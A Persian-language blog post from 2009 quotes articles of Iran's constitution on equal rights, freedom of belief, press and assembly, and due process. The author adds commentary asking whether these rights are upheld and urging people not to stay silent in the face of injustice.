  14. تأمین حقوق همه جانبه افراد از زن و مرد و ایجاد امنیت قضایی عادلانه برای همه و تساوی عموم در برابر قانون.
  15. توسعه و تحکیم برادری اسلامی و تعاون عمومی بین همه مردم.
  16. تنظیم سیاست خارجی کشور بر اساس معیارهای اسلام، تعهد برادرانه نسبت به همه مسلمان و حمایت بی‏دریغ از مستضعفان جهان.

اصل نوزدهم

مردم ایران از هر قوم و قبیله که باشند از حقوق مساوی برخوردارند و رنگ، نژاد، زبان و مانند اینها سبب امتیاز نخواهد بود.

(چرا باید کسانی که پیشانی پینه بسته دارند از حقوق بیشتری برخوردار باشند؟)

اصل ۲۲

حیثیت، جان، مال، حقوق، مسکن و شغل اشخاص از تعرض مصون است مگر در مواردی که قانون تجویز کند.

اصل ۲۳ - منع تفتیش عقاید

تفتیش عقاید ممنوع است و هیچ‌کس را نمی‌توان به صرف داشتن عقیده‏ای مورد تعرض و موُاخذه قرار دارد.

اصل ۲۴

نشریات و مطبوعات در بیان مطالب آزادند مگر آن که مخل به مبانی اسلام یا حقوق عمومی باشد. تفصیل آن را قانون معین می‌کند.

 

اصل ۲۵

بازرسی و نرساندن نامه‏ها، ضبط و فاش کردن مکالمات تلفنی، افشای مخابرات تلگرافی و تلکس، سانسور، عدم مخابره و نرساندن آنها، استراق سمع و هر گونه تجسس ممنوع است مگر به حکم قانون.

 

اصل ۲۷

تشکیل اجتماعات و راه‏پیمایی‏ها، بدون حمل سلاح، به شرط آن که مخل به مبانی اسلام نباشد آزاد است.

 

اصل ۳۲

هیچ‌کس را نمی‌توان دستگیر کرد مگر به حکم و ترتیبی که قانون معین می‌کند. در صورت بازداشت، موضوع اتهام باید با ذکر دلایل بلافاصله کتباً به متهم ابلاغ و تفهیم شود و حداکثر ظرف مدت بیست و چهار ساعت پرونده مقدماتی به مراجع صالحه قضایی ارسال و مقدمات محاکمه، در اسرع وقت فراهم گردد. مختلف از این اصل طبق قانون مجازات می‌شود.

اصل ۳۷

اصل، برائت است و هیچ‌کس از نظر قانون مجرم شناخته نمی‌شود، مگر این که جرم او در دادگاه صالح ثابت گردد.

اصل ۳۹

هتک حرمت و حیثیت کسی که به حکم قانون دستگیر، بازداشت، زندانی یا تبعید شده، به هر صورت که باشد ممنوع و موجب مجازات است.

اصل ۵۶

حاکمیت مطلق بر جهان و انسان از آن خداست و هم او، انسان را بر سرنوشت اجتماعی خویش حاکم ساخته است. هیچ‌کس نمی‌تواند این حق الهی را از انسان سلب کند یا در خدمت منافع فرد یا گروهی خاص قرار دهد و ملت این حق خداداد را از طرقی که در اصول بعد می‌آید اعمال می‌کند.

 

آیا این حقوق ما مردم ایران رعایت می شود؟ برخاستن برای به دست آوردن آزادی اجرای قوانین حق و وظیفه ی ماست.. و به هیچ عنوان سیاست زدگی نیست.

کوفیان ایران زمین.. همه ی کسانی که ظلم را می بینند و سکوت می کنند.. هر کسی می خواهند باشند.. نماینده .. وزیر.. مدیر.. دانشجو.. دانش آموز.. راننده.. مغازه داز.. هرکسی!.. مسئول خون ریخته شده شهدا در انقلاب و جنگ و وقایع اخیر و مسئول ریخته شدن خون هایی هستند که در آینده ریخته خواهد شد

ارسال در تاريخ پنجشنبه 12 شهریور1388 توسط الهه
قالب وبلاگ